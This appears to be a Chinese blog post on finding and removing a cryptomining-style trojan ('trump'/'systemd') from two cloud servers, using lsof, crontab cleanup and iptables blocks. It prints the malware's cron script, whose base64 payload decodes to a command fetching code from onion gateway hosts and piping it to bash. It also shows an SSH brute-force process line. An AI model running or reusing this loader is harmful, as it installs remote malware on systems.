二台阿里的服务器都中了这2个木马,进程占CPU 100%,进程名字是类似XY2Arv
的6位随机大小写字母+数字的字符串。最终发现是一个叫systemd或trump的木马,套路是一样的。这里参考了贴子。
逐渐排查并解决:
- 查看进程实际运行应用
> ll /proc/26978/exe
lrwxrwxrwx 1 root root 0 Nov 18 05:12 /proc/26978/exe -> /usr/bin/f5ca2c418471f93c1e5a59fea5939e89 (deleted)
可以看到进程启动完就删除了
- 查看进程的由来
> lsof -p 32559
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
wAMj4J 32559 root cwd DIR 253,1 20480 655363 /usr/bin
wAMj4J 32559 root rtd DIR 253,1 4096 2 /
wAMj4J 32559 root txt REG 253,1 260544 657105 /usr/bin/e48377a2d8e8e119d1454aa4cd5647c0 (deleted)
wAMj4J 32559 root 0u IPv4 1769948316 0t0 TCP iZ2ze98732cvvbbjgcwf4wZ:35060->101.64.182.145:https (ESTABLISHED)
wAMj4J 32559 root 3w REG 253,1 6 396140 /tmp/.X11-unix/1
可以看到源头是从/tmp下的一个子目录里的文件来的,从101.64.182.145上获取的木马代码,根据这个ip从网上查又查出这个地址其他人也碰到过类似的木马。先kill进程,顺便把/tmp目录下所有目录和文件删除。
- 查看定时任务
> crontab -l
5 * * * * /root/.trump >/dev/null 2>&1
检查/root/.trump文件发现里面主要的代码都用base64编码了,可以用bejson.com解码看看内容,删除这个文件,通过 crontab -e
删除定时任务。
> cat /root/.trump
#!/bin/bash
exec &>/dev/null
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLnNoIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash
- 查找所有带trump的文件
> grep "trump" /etc/ -nri
Binary file /etc/udev/hwdb.bin matches
/etc/cron.d/0trump:1:37 * * * * root /opt/trump >/dev/null 2>&1
删除 /etc/cron.d/0trump和/opt/trump
- 查看进程列表有无可疑进程
> ps -lef
有2个进程叫ZY8Zrv
和VcbzWG
,查看由来也是从tmp相同目录来的,kill先。再发现2个可疑进程
0 S root 9736 22608 0 80 0 - 28296 do_wai 01:28 ? 00:00:00 sh -c echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c
0 S root 21043 9742 0 80 0 - 28056 do_wai 08:36 ? 00:00:00 timeout 1h ./ssh : 22 root ./pw
都kill掉。
- 查看防火墙有没有打开多余的端口
iptables -nL --line-number
如果有多余的,就通过 iptables -D input 端口号
删除。顺便把上面找到的ip禁止掉,不允许服务器访问。
iptables -I OUTPUT -s 101.64.182.145 -j DROP
根据贴子里屏蔽了一批ip,宁可错杀不可放过。
iptables -I OUTPUT -s 38.229.33.40 -j DROP
iptables -I OUTPUT -s 173.255.218.140 -j DROP
iptables -I OUTPUT -s 149.56.101.79 -j DROP
iptables -I OUTPUT -s 185.100.85.150 -j DROP
iptables -I OUTPUT -s 46.105.146.232 -j DROP
iptables -I OUTPUT -s 139.162.228.156 -j DROP
iptables -I OUTPUT -s 185.178.208.150 -j DROP
iptables -I OUTPUT -s 37.228.129.102 -j DROP
service iptables save
service iptables restart
- 最后一步,最好修改一下系统密码。
网友评论